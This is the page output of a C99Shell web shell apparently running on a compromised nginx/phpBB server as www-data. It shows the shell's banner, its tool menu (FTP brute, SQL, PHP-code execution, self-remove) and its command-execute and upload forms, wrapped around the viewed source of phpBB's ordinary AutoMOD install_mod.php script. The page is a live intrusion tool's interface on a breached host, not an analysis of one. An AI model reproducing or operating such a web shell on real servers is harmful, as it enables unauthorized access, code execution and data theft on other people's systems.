!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phpbb3/develop/   drwxrwxr-x
Free 83.38 GB of 96.73 GB (86.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     install_mod.php (8.99 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*
* @package automod
* @version $Id$
* @copyright (c) 2009 phpBB Group
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
*
*/

/**
* install a MOD using the command-line
* copy me to ..
*/

// make sure it's run through cli
if (php_sapi_name() != 'cli')
{
    exit(
"This script must be executed from the command-line\n");
}

// args to be taken
$args = array(
    
'board'        => getcwd(),
    
'mod_file'    => false,
    
'verbose'    => false,
);

// parse the args
for ($i 1$i sizeof($argv); $i++)
{
    if (
$argv[$i][0] == '-')
    {
        switch (
$argv[$i])
        {
            case 
'-b':
            case 
'--board':
                if (!isset(
$argv[$i 1]))
                {
                    echo 
"Error: no value supplied for argument {$argv[$i]}\n";
                    exit;
                }
                
                if (!
is_dir($argv[$i 1]))
                {
                    echo 
"Error: given board does not exist\n";
                    exit;
                }
                
                
$args['board'] = $argv[++$i];
                
                if (
substr($args['board'], -1) != '/')
                {
                    
$args['board'] .= '/';
                }
            break;
            case 
'-v':
            case 
'--verbose':
                
$args['verbose'] = true;
            break;
            case 
'-h':
            case 
'--help':
                echo 
"USAGE: install_mod [OPTIONS] MOD_FILE\n";
                echo 
"\n";
                echo 
"OPTIONS:\n";
                echo 
"    -b, --board       path to the phpBB installation, defaults to pwd\n";
                echo 
"    -v, --verbose     say what's happening, defaults to false\n";
                echo 
"    -h, --help        display this message\n";
                exit;
            break;
            default:
                echo 
"unknown option '{$argv[$i]}'\n";
                exit;
            break;
        }
    }
    else
    {
        if (!
is_file($argv[$i]))
        {
            echo 
"Error: given MOD_FILE does not exist\n";
            exit;
        }
        
        
$args['mod_file'] = $argv[$i];
    }
}

// validate args
if ($args['mod_file'] === false)
{
    
// mod_file must be set
    
echo "USAGE: install_mod [OPTIONS] MOD_FILE\n";
    exit;
}

if (!
file_exists($args['board'] . 'config.php'))
{
    echo 
"Error: given board is no phpBB install\n";
    exit;
}

// set up some vars
$phpbb_root_path $args['board'];
$phpEx 'php';
$mod_path $args['mod_file'];
define('IN_PHPBB'true);

include(
'./language/en/acp/mods.' $phpEx);
$user->lang = &$lang;

// hack some config stuff
require($phpbb_root_path 'config.' $phpEx);
//require($phpbb_root_path . 'includes/cache.' . $phpEx);
require($phpbb_root_path 'includes/constants.' $phpEx);
require(
$phpbb_root_path 'includes/db/' $dbms '.' $phpEx);

$db = new $sql_db();
$db->sql_connect($dbhost$dbuser$dbpasswd$dbname$dbportfalsedefined('PHPBB_DB_NEW_LINK') ? PHPBB_DB_NEW_LINK false);
unset(
$dbpasswd);

$config['am_dir_perms'] = 755;
$config['am_file_perms'] = 644;

// -------------------------- begin stealing from acp_mods

// include automod files
include("{$phpbb_root_path}includes/functions_transfer.$phpEx");
include(
"./includes/editor.$phpEx");
include(
"./includes/functions_mods.$phpEx");
include(
"./includes/mod_parser.$phpEx");

$edited_root '../../mod/';
$backup_root '';

$editor = new editor_direct();
$editor->create_edited_root($edited_root);

$parser = new parser('xml');
$parser->set_file($mod_path);
$actions $parser->get_actions();

$mod_installed true;

// not all MODs will have edits (!)
if (isset($actions['EDITS']))
{
    foreach (
$actions['EDITS'] as $filename => $edits)
    {
        
// see if the file to be opened actually exists
        
if (!file_exists("$phpbb_root_path$filename"))
        {
            
$mod_installed false;

            continue;
        }
        else
        {
            
$status $editor->open_file($filename$backup_root);
            if (
is_string($status))
            {
                
$mod_installed false;
                continue;
            }

            foreach (
$edits as $finds)
            {
                
$comment '';
                foreach (
$finds as $find => $commands)
                {
                    if (isset(
$finds['comment']) && !$comment && $finds['comment'] != $user->lang['UNKNOWN_MOD_COMMENT'])
                    {
                        
$comment $finds['comment'];
                        unset(
$finds['comment']);
                    }

                    if (
$find == 'comment')
                    {
                        continue;
                    }

                    
$offset_ary $editor->find($find);

                    
// special case for FINDs with no action associated
                    
if (is_null($commands))
                    {
                        continue;
                    }

                    foreach (
$commands as $type => $contents)
                    {
                        if (!
$offset_ary)
                        {
                            
$offset_ary['start'] = $offset_ary['end'] = false;
                        }

                        
$status false;
                        
$contents_orig $contents;

                        switch (
strtoupper($type))
                        {
                            case 
'AFTER ADD':
                                
$status $editor->add_string($find$contents'AFTER'$offset_ary['start'], $offset_ary['end']);
                            break;

                            case 
'BEFORE ADD':
                                
$status $editor->add_string($find$contents'BEFORE'$offset_ary['start'], $offset_ary['end']);
                            break;

                            case 
'INCREMENT':
                            case 
'OPERATION':
                                
//$contents = "";
                                
$status $editor->inc_string($find''$contents);
                            break;

                            case 
'REPLACE WITH':
                                
$status $editor->replace_string($find$contents$offset_ary['start'], $offset_ary['end']);
                            break;

                            case 
'IN-LINE-EDIT':
                                
// these aren't quite as straight forward.  Still have multi-level arrays to sort through
                                
$inline_comment '';
                                foreach (
$contents as $inline_edit_id => $inline_edit)
                                {
                                    if (
$inline_edit_id === 'inline-comment')
                                    {
                                        
// This is a special case for tucking comments in the array
                                        
if ($inline_edit != $user->lang['UNKNOWN_MOD_INLINE-COMMENT'])
                                        {
                                            
$inline_comment $inline_edit;
                                        }
                                        continue;
                                    }
                                
                                    foreach (
$inline_edit as $inline_find => $inline_commands)
                                    {
                                        foreach (
$inline_commands as $inline_action => $inline_contents)
                                        {
                                            
// inline finds are pretty contancerous, so so them in the loop
                                            
$line $editor->inline_find($find$inline_find$offset_ary['start'], $offset_ary['end']);
                                            if (!
$line)
                                            {
                                                
// find failed
                                                
$status $mod_installed false;
                                                continue 
2;
                                            }

                                            
$inline_contents $inline_contents[0];
                                            
$contents_orig $inline_find;

                                            switch (
strtoupper($inline_action))
                                            {
                                                case 
'IN-LINE-':
                                                    
$editor->last_string_offset $line['string_offset'] + $line['find_length'] - 1;
                                                    
$status true;
                                                    continue;
                                                break;

                                                case 
'IN-LINE-BEFORE-ADD':
                                                    
$status $editor->inline_add($find$inline_find$inline_contents'BEFORE'$line['array_offset'], $line['string_offset'], $line['find_length']);
                                                break;

                                                case 
'IN-LINE-AFTER-ADD':
                                                    
$status $editor->inline_add($find$inline_find$inline_contents'AFTER'$line['array_offset'], $line['string_offset'], $line['find_length']);
                                                break;

                                                case 
'IN-LINE-REPLACE':
                                                case 
'IN-LINE-REPLACE-WITH':
                                                    
$status $editor->inline_replace($find$inline_find$inline_contents$line['array_offset'], $line['string_offset'], $line['find_length']);
                                                break;

                                                case 
'IN-LINE-OPERATION':
                                                    
$status $editor->inc_string($find$inline_find$inline_contents);
                                                break;

                                                default:
                                                    
trigger_error("Error, unrecognised command $inline_action"); // ERROR!
                                                
break;
                                            }
                                        }

                                        if (!
$status)
                                        {
                                            
$mod_installed false;
                                        }

                                        
$editor->close_inline_edit();
                                    }
                                }
                            break;

                            default:
                                
trigger_error("Error, unrecognised command $type"); // ERROR!
                            
break;
                        }

                        if (!
$status)
                        {
                            
$mod_installed false;
                        }
                    }
                }

                
$editor->close_edit();
            }
        }

        
$status $editor->close_file("{$edited_root}$filename");
        if (
is_string($status))
        {
            echo 
"ERROR: $status\n";

            
$mod_installed false;
        }
    }
// end foreach

// Move included files
if (isset($actions['NEW_FILES']) && !empty($actions['NEW_FILES']) && $change && ($mod_installed || $force_install))
{
    foreach (
$actions['NEW_FILES'] as $source => $target)
    {
        
$status $editor->copy_content($mod_root str_replace('*.*'''$source), str_replace('*.*'''$target));

        if (
$status !== true && !is_null($status))
        {
            
$mod_installed false;
        }
    }
}


// Perform SQL queries last -- Queries usually cannot be done a second
// time, so do them only if the edits were successful.  Still complies
// with the MODX spec in this location
if (!empty($actions['SQL']) && ($mod_installed || $force_install || ($display && !$change)))
{
    
$template->assign_var('S_SQL'true);

    
parser::parse_sql($actions['SQL']);

    
$db->sql_return_on_error(true);

    foreach (
$actions['SQL'] as $query)
    {
        if (
$change)
        {
            
$query_success $db->sql_query($query);

            if (!
$query_success)
            {
                
$error $db->sql_error();
                
                if (
$args['verbose'])
                {
                    echo 
"Error: SQL Error\n";
                    echo 
"$query\n";
                    echo 
"{$error['message']}\n";
                    exit;
                }

                
$mod_installed false;
            }
        }
    }

    
$db->sql_return_on_error(false);
}

// Move edited files back
$status $editor->commit_changes($edited_root'');

if (
is_string($status))
{
    echo 
"ERROR: $status\n";
    exit;
}

if (!
$mod_installed)
{
    echo 
"ERROR: mod install failed\n";
    exit;
}

// end of script
$db->sql_close();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0038 ]--